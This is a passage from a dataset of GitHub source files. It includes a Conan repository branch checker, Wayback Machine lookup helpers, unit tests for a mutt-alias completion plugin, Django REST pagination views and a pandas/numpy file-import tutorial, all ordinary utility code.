\"\"\"\n self.pages.append(dict(self.__dict__))\n self._startPage()\n\n #----------------------------------------------------------------------\n def save(self):\n \"\"\"\n Add the page number to each page (page x of y)\n \"\"\"\n page_count = len(self.pages)\n\n for page in self.pages:\n self.__dict__.update(page)\n self.draw_page_number(page_count)\n canvas.Canvas.showPage(self)\n\n canvas.Canvas.save(self)\n\n #----------------------------------------------------------------------\n def draw_page_number(self, page_count):\n \"\"\"\n Add the page number\n \"\"\"\n page = \"Page %s of %s\" % (self._pageNumber, page_count)\n now = datetime.datetime.now()\n now_text = now.strftime(\"%m/%d/%Y %I:%M:%S %p\")\n extra = (\"Generated on \"+now_text)\n self.setFont(\"Helvetica\", 9)\n self.drawString(inch, 0.85 * inch, page)\n self.drawString(inch, 0.70 * inch, extra)\n","repo_name":"eroldramos/wfarproject","sub_path":"backend/ReportGeneration/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"71597489386","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nfrom collections import OrderedDict\nimport enum\nfrom github.Branch import Branch\nfrom github.Repository import Repository\nfrom conan_repo_actions.base import ActionInterrupted, ActionBase\nfrom conan_repo_actions.util import Configuration, GithubUser, input_ask_question_yn, input_ask_question_options\nfrom packaging.version import Version, InvalidVersion\nimport re\nimport typing\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Check and fix default branches')\n parser.add_argument('repo_names', nargs=argparse.ZERO_OR_MORE,\n help='names of repo to check (skip if check all)')\n parser.add_argument('--owner_login', type=str, required=True,\n help='owner of the repo to clone')\n parser.add_argument('--fix', action='store_true',\n help='fix the default branch')\n\n args = parser.parse_args()\n if not args.repo_names:\n args.repo_names = None\n\n c = Configuration()\n g = c.get_github()\n\n user_owner = g.get_user(args.owner_login)\n\n default_branch_check(user=user_owner, fix=args.fix, repos=args.repo_names)\n\n\ndef default_branch_check(user: typing.Optional[GithubUser],\n repos: typing.Optional[typing.List[typing.Union[str, Repository]]]=None,\n fix: bool=False):\n\n action_default = DefaultBranchAction(user=user,\n repos=repos,\n fix=fix)\n action_default.check()\n print(action_default.description())\n action_default.run_action()\n\n\nclass DefaultBranchAction(ActionBase):\n def __init__(self, user: typing.Optional[GithubUser],\n repos: typing.Optional[typing.List[typing.Union[str, Repository]]]=None,\n fix: bool=False):\n super().__init__()\n self._user = user\n self._repos = repos\n\n self._fix = fix\n\n def run_check(self):\n repos = []\n if self._repos is not None:\n for repo in self._repos:\n if isinstance(repo, str):\n repos.append(self._user.get_repo(repo))\n else:\n repos.append(repo)\n else:\n if self._user is None:\n raise ActionInterrupted('Need user')\n repos = list(self._user.get_repos())\n\n if self._fix:\n for repo in repos:\n if not repo.has_in_collaborators(self._user.login):\n raise ActionInterrupted('Cannot fix \"{}\": {} is not a collaborator'.format(repo.full_name, self._user.login))\n self._repos = repos\n\n def run_action(self):\n for repo in self._repos:\n self._repo_check_default_branch(repo)\n\n def run_description(self):\n return 'Check default branch of {nb} repos'.format(\n nb=len(self._repos) if self._repos is not None else 'unknown',\n )\n\n def run_sub_actions(self) -> typing.Iterable[ActionBase]:\n return ()\n\n def _repo_check_default_branch(self, github_repo: Repository):\n if github_repo.archived:\n print(\"{}: archived\".format(github_repo.full_name))\n return\n\n repo = ConanRepo.from_repo(github_repo)\n\n messages = []\n if not repo.contains_conan_branches():\n messages.append('no versions found')\n\n if repo.contains_unknown_branches():\n messages.append('non-conan branches found ({})'.format(list(b.name for b in repo.unknown_branches)))\n\n change_default_branch = False\n default_branch_suggestions = list(sorted(repo.branches, key=_BranchRepoSuggestionKey)) + list(\n repo.unknown_branches)\n\n if not repo.default_branch.good():\n messages.append('default branch has not the channel/branch format'.format())\n else:\n if repo.default_branch.channel != 'testing':\n messages.append('default channel is not testing'.format())\n change_default_branch = True\n\n if repo.default_branch.version is None:\n messages.append('cannot decode default branch version')\n else:\n for c in ('stable', 'testing',):\n try:\n next(b for b in repo.get_branches_by_version(repo.default_branch.version) if b.channel == c)\n except StopIteration:\n messages.append('default branch has no \"{}\" channel equivalent'.format(c))\n\n if repo.default_branch.version.is_prerelease:\n messages.append('version of default branch is a prerelease')\n\n assert max(repo.versions) == repo.most_recent_version()\n\n most_recent_stable_version_overall = repo.version_most_recent_filter(\n lambda b: not b.version.is_prerelease)\n\n most_recent_branch_testing = repo.most_recent_branch_by_channel('testing') # most_recent_repo_by_channel('testing')\n most_recent_version = repo.most_recent_version()\n\n if repo.default_branch.version != most_recent_stable_version_overall:\n messages.append('default branch is not on most recent (non-prerelease) version')\n change_default_branch = True\n\n if not most_recent_branch_testing:\n messages.append('no testing branch present')\n else:\n if most_recent_branch_testing.version != most_recent_version:\n messages.append('most recent version has no testing channel branch')\n\n if change_default_branch:\n messages.append('suggestions={}'.format(list(b.name for b in default_branch_suggestions)))\n\n if messages:\n print('{} (default=\"{}\"): {}'.format(github_repo.full_name, repo.default_branch.name, '; '.join(messages)))\n\n if self._fix:\n if default_branch_suggestions:\n if len(default_branch_suggestions) == 1:\n print('Only one branch available -> do nothing')\n else:\n options = ['- do nothing -', ] + list(b.name for b in default_branch_suggestions)\n answer = input_ask_question_options('Change default branch to?', options, default=0)\n apply_fixes = answer != 0\n new_default_branch_name = options[answer]\n if apply_fixes:\n new_default_branch_name = options[answer]\n confirmation_question = 'Change the default branch of \"{}\" from \"{}\" to \"{}\"?'.format(\n github_repo.full_name, repo.default_branch.name, new_default_branch_name)\n apply_fixes = input_ask_question_yn(confirmation_question, default=False)\n if apply_fixes:\n print('Changing default branch to {} ...'.format(new_default_branch_name))\n github_repo.edit(default_branch=new_default_branch_name)\n print('... done'.format(new_default_branch_name))\n else:\n print('Do nothing')\n\n\nclass ConanRepoBranch(object):\n def __init__(self, name: str):\n self._name = name\n _channel_str_version = _channel_version_str_from_branch(self._name)\n # self._channel_version_from_branch(self._name)\n if _channel_str_version is None:\n self._channel, self._version_str = None, None\n else:\n self._channel, self._version_str = _channel_str_version\n\n @property\n def name(self) -> str:\n return self._name\n\n def good(self) -> bool:\n return self._channel is not None\n\n @property\n def channel(self) -> typing.Optional[str]:\n return self._channel\n\n @property\n def version_str(self) -> typing.Optional[str]:\n return self._version_str\n\n @property\n def version(self) -> typing.Optional[Version]:\n if self._version_str is None:\n return None\n return _version_from_string(self._version_str)\n\n def __repr__(self) -> str:\n return '<{}:{}>'.format(type(self).__name__, self._name)\n\n def __hash__(self) -> int:\n return hash(self._name)\n\n def __eq__(self, other: 'ConanRepoBranch') -> bool:\n if type(self) != type(other):\n return False\n return self._name == other._name\n\n\nclass WhichBranch(enum.Enum):\n DEFAULT = 0\n LATEST = 1\n LATEST_STABLE = 2\n LATEST_TESTING = 3\n\n\nclass ConanRepo(object):\n def __init__(self, versionmap: typing.Mapping[Version, typing.List[ConanRepoBranch]],\n unknown: typing.Iterable[ConanRepoBranch], default_branch: ConanRepoBranch):\n self._versionmap = OrderedDict(sorted(versionmap.items(), key=lambda v_b: v_b[0], reverse=True))\n self._unknown_branches = list(unknown)\n self._default_branch = default_branch\n\n @property\n def default_branch(self) -> ConanRepoBranch:\n return self._default_branch\n\n @property\n def versions(self) -> typing.Iterable[Version]:\n return self._versionmap.keys()\n\n @property\n def branches(self) -> typing.Iterable[ConanRepoBranch]:\n for _, branches in self._versionmap.items():\n for branch in branches:\n yield branch\n\n @property\n def unknown_branches(self) -> typing.Iterable[ConanRepoBranch]:\n return iter(self._unknown_branches)\n\n def contains_conan_branches(self) -> bool:\n return len(self._versionmap) > 0\n\n def contains_unknown_branches(self) -> bool:\n return len(self._unknown_branches) > 0\n\n def get_branches_by_version(self, version: Version) -> typing.Iterable[ConanRepoBranch]:\n for branch in self._versionmap.get(version, []):\n yield branch\n\n def get_branches_by_channel(self, channel: typing.Optional[str]) -> typing.Iterable[ConanRepoBranch]:\n for _, branches in self._versionmap.items():\n for branch in branches:\n if channel is None:\n yield branch\n else:\n if channel == branch.channel:\n yield branch\n\n def most_recent_branch_by_channel(self, channel: str) -> typing.Optional[ConanRepoBranch]:\n branches = list(self.get_branches_by_channel(channel))\n try:\n return branches[0]\n except IndexError:\n return None\n\n def most_recent_version(self) -> typing.Optional[Version]:\n try:\n return list(self._versionmap.keys())[0]\n except IndexError:\n return None\n\n def branches_filter(self, fn: typing.Callable[[ConanRepoBranch], bool]) -> typing.Iterator[ConanRepoBranch]:\n return filter(fn, self.branches)\n\n def version_most_recent_filter(self, fn: typing.Callable[[ConanRepoBranch], bool]) -> typing.Optional[Version]:\n try:\n return next(self.branches_filter(fn)).version\n except StopIteration:\n return None\n\n @classmethod\n def from_repo(cls, repo: Repository) -> 'ConanRepo':\n return cls.from_branches(repo.get_branches(), repo.default_branch)\n\n @classmethod\n def from_branches(cls, branches: typing.Iterable[Branch], default: str) -> 'ConanRepo':\n result = dict()\n unknown = list()\n for branch in branches:\n channel_version = _channel_version_from_branch(branch.name)\n if channel_version is None:\n unknown.append(ConanRepoBranch(branch.name))\n continue\n channel, version = channel_version\n if version is None:\n unknown.append(ConanRepoBranch(branch.name))\n else:\n result.setdefault(version, [])\n result[version].append(ConanRepoBranch(branch.name))\n return cls(versionmap=result, unknown=unknown, default_branch=ConanRepoBranch(default))\n\n def select_branch(self, branch: WhichBranch) -> typing.Optional[ConanRepoBranch]:\n if branch == WhichBranch.DEFAULT:\n return self.default_branch\n elif branch == WhichBranch.LATEST:\n most_recent_version = self.most_recent_version()\n for branch in self._versionmap[most_recent_version]:\n if branch.channel == 'testing':\n return branch\n for branch in self._versionmap[most_recent_version]:\n if branch.channel == 'stable':\n return branch\n for branch in self._versionmap[most_recent_version]:\n return branch\n return None\n elif branch == WhichBranch.LATEST_STABLE:\n return self.most_recent_branch_by_channel('stable')\n elif branch == WhichBranch.LATEST_TESTING:\n return self.most_recent_branch_by_channel('testing')\n else:\n raise ValueError(branch)\n\n\nclass _BranchRepoSuggestionKey:\n @classmethod\n def _cmp_version_channel(cls, first: ConanRepoBranch, second: ConanRepoBranch) -> int:\n if first.version == second.version:\n return cls._cmp_channel(first, second)\n if first.version > second.version:\n return -1\n else:\n return 1\n\n @classmethod\n def _cmp_channel(cls, first: ConanRepoBranch, second: ConanRepoBranch) -> int:\n if first.channel == second.channel:\n return 0\n if first.channel == 'testing':\n return -1\n if second.channel == 'testing':\n return 1\n if first.channel == 'stable':\n return -1\n if second.channel == 'stable':\n return 0\n if first.channel > second.channel:\n return -1\n return 1\n\n def __init__(self, obj):\n self.obj = obj\n\n def __lt__(self, other):\n return self._cmp_version_channel(self.obj, other.obj) < 0\n\n def __gt__(self, other):\n return self._cmp_version_channel(self.obj, other.obj) > 0\n\n def __eq__(self, other):\n return self._cmp_version_channel(self.obj, other.obj) == 0\n\n def __le__(self, other):\n return self._cmp_version_channel(self.obj, other.obj) <= 0\n\n def __ge__(self, other):\n return self._cmp_version_channel(self.obj, other.obj) >= 0\n\n def __ne__(self, other):\n return self._cmp_version_channel(self.obj, other.obj) != 0\n\n\ndef _channel_version_str_from_branch(branch: str) -> typing.Optional[typing.Tuple[str, str]]:\n try:\n [b_str, v_str] = branch.split('/', 1)\n return b_str, v_str\n except ValueError:\n return None\n\n\ndef _channel_version_from_branch(branch: str) -> typing.Optional[typing.Tuple[str, typing.Optional[Version]]]:\n b_v = _channel_version_str_from_branch(branch)\n if b_v is None:\n return None\n b, v_str = b_v\n v = _version_from_string(v_str)\n return b, v\n\n\ndef _version_from_string(v_str: str) -> typing.Optional[Version]:\n try:\n return Version(v_str)\n except InvalidVersion:\n m = re.search(r'r(?P[0-9]{2,4})(?P[a-zA-Z]?)', v_str)\n if m:\n major = int(m.group('year'))\n subyear = m.group('subyear')\n if subyear:\n minor_zero = ord('a') - 1\n minor = ord(subyear) - minor_zero\n else:\n minor = 0\n return Version('{}.{}'.format(major, minor))\n return None\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"madebr/conan-repo-actions","sub_path":"conan_repo_actions/default_branch.py","file_name":"default_branch.py","file_ext":"py","file_size_in_byte":15466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"710626186","text":"\"\"\"\nAuthor: your name\nDate: 2022-03-07 15:30:59\nLastEditTime: 2022-03-30 10:33:56\nLastEditors: Please set LastEditors\nDescription: 打开koroFileHeader查看配置 进行设置: https://github.com/OBKoro1/koro1FileHeader/wiki/%E9%85%8D%E7%BD%AE\nFilePath: /common_crawl/waybackpy.py\n\"\"\"\nfrom email import header\nimport waybackpy\nfrom waybackpy import WaybackMachineCDXServerAPI\nfrom waybackpy import WaybackMachineAvailabilityAPI\nimport pandas as pd\nfrom tqdm import tqdm\nimport time\n\ntqdm.pandas()\n\nfrom warcio.capture_http import capture_http\nfrom warcio import WARCWriter\n\n# from warc_test import get_text_selectolax,process_warc_from_archive\nfrom urllib.parse import urlparse\nimport requests\n\n# from pandarallel import pandarallel\n# pandarallel.initialize(progress_bar=True,nb_workers = 5)\n\n\n# all the websites\n# df = pd.read_csv(\"resource/top10milliondomains_expand.csv\")\n\n# df = df.sort_values(by=\"rank\")\n# df = df.sample(10000)\n\n# print(df['edu_domain'].head())\n\n# find the url in specific time\n\ndf = pd.read_csv(\"RQX/10000sample_analysis/10000sample.csv\").head(10)\n\ncollect_key = \"domain\"\n\n\ndef get_old_new_time(row):\n \"\"\"get the oldest and newest time of urls\n\n Args:\n row (df): pandas df\n\n Returns:\n _type_: oldest time and newest time\n \"\"\"\n try:\n url = row[collect_key]\n user_agent = \"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0\"\n\n cdx_api = WaybackMachineCDXServerAPI(url, user_agent)\n oldest = cdx_api.oldest()\n oldest_time = oldest.timestamp\n newest = cdx_api.newest()\n newest_time = newest.timestamp\n except Exception as e:\n oldest_time = None\n newest_time = None\n print(e)\n return oldest_time, newest_time\n\n\ndef get_old_new_url(row):\n \"\"\"get the oldest and newest time of historical urls\n\n Args:\n row (df): pandas df\n\n Returns:\n _type_: oldest time and newest time\n \"\"\"\n try:\n url = row[collect_key]\n user_agent = \"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0\"\n\n cdx_api = WaybackMachineCDXServerAPI(url, user_agent)\n oldest = cdx_api.oldest()\n oldest_time = oldest.timestamp\n old_url = oldest.archive_url\n newest = cdx_api.newest()\n new_url = newest.archive_url\n newest_time = newest.timestamp\n except Exception as e:\n oldest_time = None\n newest_time = None\n old_url = None\n new_url = None\n print(e)\n return oldest_time, newest_time, old_url, new_url\n\n\ndef get_specific_time_url_df(row, url_year):\n \"\"\"get specific time\n\n Args:\n row (df): df row\n url_year (str): year\n\n Returns:\n str: get the historical time\n \"\"\"\n url = row[collect_key]\n\n user_agent = \"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0\"\n try:\n cdx_api = WaybackMachineCDXServerAPI(\n url, user_agent, start_timestamp=url_year, end_timestamp=url_year\n )\n time.sleep(1)\n near = cdx_api.near(year=url_year)\n archive_url = near.archive_url\n except Exception as e:\n print(e)\n archive_url = None\n return archive_url\n\n\ndef get_specific_time_url(url, year):\n \"\"\"get historical url\n\n Args:\n url (str): url\n year (int): year\n \"\"\"\n user_agent = \"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0\"\n\n cdx_api = WaybackMachineCDXServerAPI(\n url, user_agent, start_timestamp=year, end_timestamp=year\n )\n near = cdx_api.near(year=year)\n archive_url = near.archive_url\n\n return archive_url\n\n\ndef judge_whether_it_can_occur_in_each_year(url, begin_year, end_year):\n user_agent = \"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0\"\n\n for year in range(begin_year, end_year):\n print(year)\n cdx_api = WaybackMachineCDXServerAPI(\n url, user_agent, start_timestamp=year, end_timestamp=year\n )\n near = cdx_api.near(year=year)\n archive_url = near.archive_url\n print(archive_url)\n\n\n# start = time.time()\n# judge_whether_it_can_occur_in_each_year(\"baidu.com\", 2012, 2022)\n# print(time.time() - start)\n\n# df[[\"oldest_time\", \"newest_time\", \"old_url\", \"new_url\"]] = df.progress_apply(\n# get_old_new_url, axis=1, result_type=\"expand\"\n# )\n\n# df.to_csv(\"RQX/tj_outlinkes_old_new.csv\", index=None)\n\n# df.to_csv(\"resource/top10million10000_timegap.csv\", index=None)\n\nfor year in range(2014, 2022):\n df[\"history_url\"] = df.progress_apply(\n get_specific_time_url_df, axis=1, url_year=year\n )\n\n # df[[collect_key, \"history_url\"]].to_csv(\n # \"RQX/10000sample_analysis/IA/{}_historical_year_{}.csv\".format(\n # collect_key, str(year)\n # ),\n # index=None,\n # )\n# print(get_specific_time_url(\"www.vvvorden.nl\", 2015))\n\n\n# for domain in df[\"domain\"].to_list():\n# print(domain)\n# print(get_specific_time_url(domain, 2015))\n\n# df[\"history_url\"] = df.progress_apply(get_specific_time_url_df, axis=1, url_year=2016)\n# df[[collect_key, \"history_url\"]].to_csv(\n# \"RQX/{}_historical_year_{}.csv\".format(collect_key, str(2016)),\n# index=None,\n# )\n","repo_name":"shuishen112/Privacy_Lost","sub_path":"common_crawl/pipeline_scan/waybackpy_scan.py","file_name":"waybackpy_scan.py","file_ext":"py","file_size_in_byte":5193,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"42683586582","text":"import random\nnumeri=[0]*20\nfor i in range(0,20):\n numeri[i]=random.randint(1,10)\nprint(numeri)\npospari=0\nposdispari=0\nfor i in range(0,len(numeri)):\n if i%2==0:\n pospari+=numeri[i]\n else:\n posdispari+=numeri[i]\nprint(\"somma indice pari:\",pospari)\nprint(\"somma indice dispari:\",posdispari)\n ","repo_name":"MarcoInc/Python_Exercises","sub_path":"Esercizi/Sommatoria indice pari e dispari array.py","file_name":"Sommatoria indice pari e dispari array.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5402992316","text":"#!/usr/bin/env python3\nimport re\nimport enum\nimport sys\nimport json\n\nlog_end_regex = re.compile(r\"^(\\d{4}/\\d{2}/\\d{2}.*).*\")\nlog_start_regex = re.compile(r\"^(\\d{4}/\\d{2}/\\d{2}.*).getUpdates.resp: ({.*)\")\n\nclass ParsingState(enum.Enum):\n stop = 0\n start = 1\n\n\ndef parse(fpath: str):\n logs = {}\n state_machine = ParsingState.stop\n with open(fpath) as f:\n key = \"\"\n for line in f.readlines():\n if log_start_regex.match(line):\n match = log_start_regex.search(line)\n key = match.group(1)\n value = match.group(2)\n logs[key] = value\n state_machine = ParsingState.start\n elif log_end_regex.match(line):\n state_machine = ParsingState.stop\n elif state_machine == ParsingState.start:\n logs[key] += line\n\n for k, v in sorted(logs.items(), key = lambda x: x[1]):\n try:\n j = json.loads(v)\n if not j or not j[\"result\"]:\n del logs[k]\n logs[k] = j\n except Exception as e:\n del logs[k]\n return logs\n\n\nif __name__ == '__main__':\n fname = sys.argv[1]\n logs = parse(fname)\n json.dump(logs, open(fname + \".json\", \"w\"))\n","repo_name":"commonlispbr/troll-shield","sub_path":"data-mining-logs/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"4181275019","text":"from os import path\nimport shutil\nimport tempfile\nimport unittest\nfrom unittest import mock\n\n\nclass DummyBaseClass:\n def __init__(self, vim):\n self.vim = vim\n self.Base = type(self)\n self.expand = lambda x: path.expanduser(path.expandvars(x))\n\n\npatches = {\n 'rplugin.python3.deoplete.filter.base': DummyBaseClass(None),\n 'rplugin.python3.deoplete.sources.base': DummyBaseClass(None),\n 'deoplete.util': DummyBaseClass(None),\n}\n\nwith mock.patch.dict('sys.modules', patches):\n from rplugin.python3.deoplete.sources import mutt as source\n from rplugin.python3.deoplete.filter import matcher_mutt_alias as matcher\n\n\nclass TestSource(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.tempdir = tempfile.mkdtemp()\n alias = 'alias -group {x}-group {x} {X} Mc{X}face <{x}@example.com>'\n\n # files with aliases to test multiple alias files get searched\n for dummy in ('foo', 'bar', 'baz'):\n with open(path.join(cls.tempdir, dummy), 'w') as f:\n f.write(alias.format(x=dummy, X=dummy.title()))\n\n # file _without_ aliases to test that it is skipped\n with open(path.join(cls.tempdir, 'quux'), 'w') as f:\n f.write('foobar')\n\n @classmethod\n def tearDownClass(cls):\n shutil.rmtree(cls.tempdir)\n\n def setUp(self):\n self.vim = mock.Mock()\n self.source = source.Source(self.vim)\n\n def test_expand(self):\n import os\n with mock.patch.dict(os.environ, {'FOO': '~/foo'}):\n result = source.expand('$FOO/bar')\n\n expected = os.path.expanduser('~/foo/bar')\n self.assertEqual(result, expected)\n\n def test_attributes(self):\n self.assertEqual(self.source.name, 'mutt')\n self.assertEqual(self.source.mark, '[mutt]')\n self.assertEqual(self.source.rank, 150)\n self.assertEqual(self.source.filetypes, ['mail'])\n self.assertEqual(self.source.matchers, ['matcher_mutt_alias'])\n\n def test_find_mutt_dirs(self):\n expected = [self.tempdir]\n with mock.patch.object(source, 'POSSIBLE_MUTT_DIRS', new=expected):\n result = self.source._find_mutt_dirs()\n self.assertEqual(expected, result)\n\n def test_load_aliases(self):\n self.assertIsNone(self.source._aliases)\n\n expected = {\n ('foo', 'Foo McFooface', '',),\n ('bar', 'Bar McBarface', '',),\n ('baz', 'Baz McBazface', '',),\n }\n\n # aliases are implicitly loaded using the `aliases` property\n with mock.patch.object(source, 'POSSIBLE_MUTT_DIRS',\n new=(self.tempdir,)):\n self.assertEqual(expected, self.source.aliases)\n\n def test_find_alias_files(self):\n self.assertIsNone(self.source._alias_files)\n\n with mock.patch.object(source, 'POSSIBLE_MUTT_DIRS',\n new=(self.tempdir,)):\n self.source._find_alias_files()\n\n expected = {\n path.join(self.tempdir, 'foo'),\n path.join(self.tempdir, 'bar'),\n path.join(self.tempdir, 'baz'),\n }\n\n self.assertEqual(expected, self.source._alias_files)\n\n def test_gather_candidates(self):\n items = [\n ('key1', 'name1', 'email1'),\n ('key2', 'name2', 'email2'),\n ('key3', 'name3', 'email3'),\n ]\n with mock.patch.object(self.source, '_aliases', new=items):\n result = self.source.gather_candidates(None)\n\n expected = [\n {'word': 'name1 email1', 'abbr': 'key1: name1 email1'},\n {'word': 'name2 email2', 'abbr': 'key2: name2 email2'},\n {'word': 'name3 email3', 'abbr': 'key3: name3 email3'},\n ]\n\n self.assertEqual(result, expected)\n\n\nclass TestMatcher(unittest.TestCase):\n def setUp(self):\n self.vim = mock.Mock()\n self.filter = matcher.Filter(self.vim)\n\n def test_is_header(self):\n self.assertTrue(matcher.is_header('To: '))\n self.assertFalse(matcher.is_header('To :'))\n\n def test_attributes(self):\n self.assertEqual(self.filter.name, 'matcher_mutt_alias')\n self.assertEqual(self.filter.description, 'matcher for mutt aliases')\n\n def test_filter_no_header(self):\n ctx = {'input': 'this is not a header'}\n self.assertFalse(matcher.is_header(ctx['input']))\n self.assertEqual(self.filter.filter(ctx), [])\n\n def test_filter_with_header(self):\n ctx = {'input': 'validheader:'}\n self.assertTrue(matcher.is_header(ctx['input']))\n\n ctx['candidates'] = [\n {'abbr': 'FOOBAR'},\n {'abbr': 'foobar'},\n {'abbr': 'BARFOO'},\n {'abbr': 'barfoo'},\n {'abbr': 'BAZQUUX'},\n {'abbr': 'bazquux'},\n ]\n ctx['complete_str'] = 'foo'\n\n ctx['ignorecase'] = False\n result = self.filter.filter(ctx)\n self.assertEqual(result, [\n {'abbr': 'foobar'},\n {'abbr': 'barfoo'},\n ])\n\n ctx['ignorecase'] = True\n result = self.filter.filter(ctx)\n self.assertEqual(result, [\n {'abbr': 'FOOBAR'},\n {'abbr': 'foobar'},\n {'abbr': 'BARFOO'},\n {'abbr': 'barfoo'},\n ])\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"deathlyfrantic/deoplete-mutt-alias","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3141579351","text":"from rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom rest_framework import status\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom .models import *\nfrom .serializers import *\n\n@api_view(['POST', 'GET'])\ndef text_posts_list(request):\n\n text_posts = TextPost.objects.all().order_by('-order')\n return get_all_objects(request, TextPostSerializer, text_posts, \"txt_posts\")\n\n@api_view(['POST', 'GET'])\ndef music_posts_list(request):\n\n text_posts = SoundCloudPost.objects.all().order_by('-order')\n return get_all_objects(request, SoundCloudPostSerializer, text_posts, \"sc_posts\")\n\n@api_view(['POST', 'GET'])\ndef academic_posts_list(request):\n\n text_posts = AcademicPost.objects.all().order_by('-order')\n return get_all_objects(request, AcademicPostSerializer, text_posts, \"ac_posts\")\n\n@api_view(['POST', 'GET'])\ndef review_posts_list(request):\n\n text_posts = ReviewPost.objects.all().order_by('-order')\n return get_all_objects(request, ReviewPostSerializer, text_posts, \"rv_posts\")\n\n@api_view(['POST', 'GET'])\ndef video_posts_list(request):\n\n video_posts = VideoPost.objects.all().order_by('-order')\n return get_all_objects(request, VideoPostSerializer, video_posts, \"vid_posts\")\n\ndef get_all_objects(request, Serializer, all_objects, object_type):\n \n object_in_one_page = 9\n\n data = []\n nextPage = 1\n previousPage = 1\n page = request.GET.get('page', 1)\n paginator = Paginator(all_objects, object_in_one_page)\n try:\n data = paginator.page(page)\n except PageNotAnInteger:\n data = paginator.page(1)\n except EmptyPage:\n data = paginator.page(paginator.num_pages)\n\n if data.has_next():\n nextPage = data.next_page_number()\n if data.has_previous():\n previousPage = data.previous_page_number()\n\n serializer = Serializer(data, context={'request': request} , many=True)\n\n return Response({'data': serializer.data , 'currentpage': page, 'count': paginator.count, 'numpages' : paginator.num_pages, 'nextlink': '/{}/?page='.format(object_type) + str(nextPage).replace('/', ''), 'prevlink': '/{}/?page='.format(object_type) + str(previousPage).replace('/', '')})\n\n\n# @api_view(['GET'])\n# def text_posts_detail(request, pk):\n# try:\n# text_post = TextPost.objects.get(pk=pk)\n# except TextPost.DoesNotExist:\n# return Response(status=status.HTTP_404_NOT_FOUND)\n\n# if request.method == 'GET':\n# serializer = TextPostSerializer(text_post, context={'request': request})\n# return Response(serializer.data)\n","repo_name":"shervn/shervn-blog","sub_path":"shervn-backend/blogcomponents/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15545250052","text":"# Import numpy\r\nimport numpy as np\r\n\r\n# Assign the filename: file\r\nfile = 'digits_header.txt'\r\n\r\n# Load the data: data\r\ndata = np.loadtxt(file, delimiter='\\t', skiprows=1, usecols=[0,2])\r\n\r\n# Print data\r\nprint(data)\r\n\r\n\r\n# Assign filename: file\r\nfile = 'seaslug.txt'\r\n\r\n# Import file: data\r\ndata = np.loadtxt(file, delimiter='\\t', dtype=str)\r\n\r\n# Print the first element of data\r\nprint(data[0])\r\n\r\n# Import data as floats and skip the first row: data_float\r\ndata_float = np.loadtxt(file, delimiter='\\t', dtype=float, skiprows=1)\r\n\r\n# Print the 10th element of data_float\r\nprint(data_float[9])\r\n\r\n# Plot a scatterplot of the data\r\nplt.scatter(data_float[:, 0], data_float[:, 1])\r\nplt.xlabel('time (min.)')\r\nplt.ylabel('percentage of larvae')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# Import pandas as pd\r\nimport pandas as pd\r\n\r\n# Assign the filename: file\r\nfile = 'titanic.csv'\r\n\r\n# Read the file into a DataFrame: df\r\ndf = pd.read_csv(file)\r\n\r\n# View the head of the DataFrame\r\nprint(df.head())\r\n\r\n\r\n\r\n\r\n\r\n\r\n# Assign the filename: file\r\nfile = 'digits.csv'\r\n\r\n# Read the first 5 rows of the file into a DataFrame: data\r\ndata=pd.read_csv(file, nrows=5, header=None)\r\n\r\n# Build a numpy array from the DataFrame: data_array\r\ndata_array=np.array(data.values)\r\n\r\n# Print the datatype of data_array to the shell\r\nprint(type(data_array))\r\n\r\n\r\n\r\n\r\n#Pickle, read complex data\r\n# Import pickle package\r\nimport pickle\r\n\r\n# Open pickle file and load data: d\r\nwith open('data.pkl', 'rb') as file:\r\n d = pickle.load(file)\r\n\r\n# Print d\r\nprint(d)\r\n\r\n# Print datatype of d\r\nprint(type(d))\r\n\r\n\r\n\r\n#READ XLSX\r\n# Import pandas\r\nimport pandas as pd\r\n\r\n# Assign spreadsheet filename: file\r\nfile = 'battledeath.xlsx'\r\n\r\n# Load spreadsheet: xl\r\nxl = pd.ExcelFile(file)\r\n\r\n# Print sheet names\r\nprint(xl.sheet_names)\r\n\r\n\r\n\r\n\r\n\r\n# Load a sheet into a DataFrame by name: df1\r\ndf1 = xl.parse('2004')\r\n\r\n# Print the head of the DataFrame df1\r\nprint(df1.head())\r\n\r\n# Load a sheet into a DataFrame by index: df2\r\ndf2 = xl.parse(0)\r\n\r\n# Print the head of the DataFrame df2\r\nprint(df2.head())\r\n\r\n\r\n\r\n\r\n\r\n# Parse the first sheet and rename the columns: df1\r\ndf1 = xl.parse(0, skiprows=[1], names=['Country','AAM due to War (2002)'])\r\n\r\n# Print the head of the DataFrame df1\r\nprint(df1.head())\r\n\r\n# Parse the first column of the second sheet and rename the column: df2\r\ndf2 = xl.parse(1, parse_cols=[0], skiprows=[1], names=['Country'])\r\n\r\n# Print the head of the DataFrame 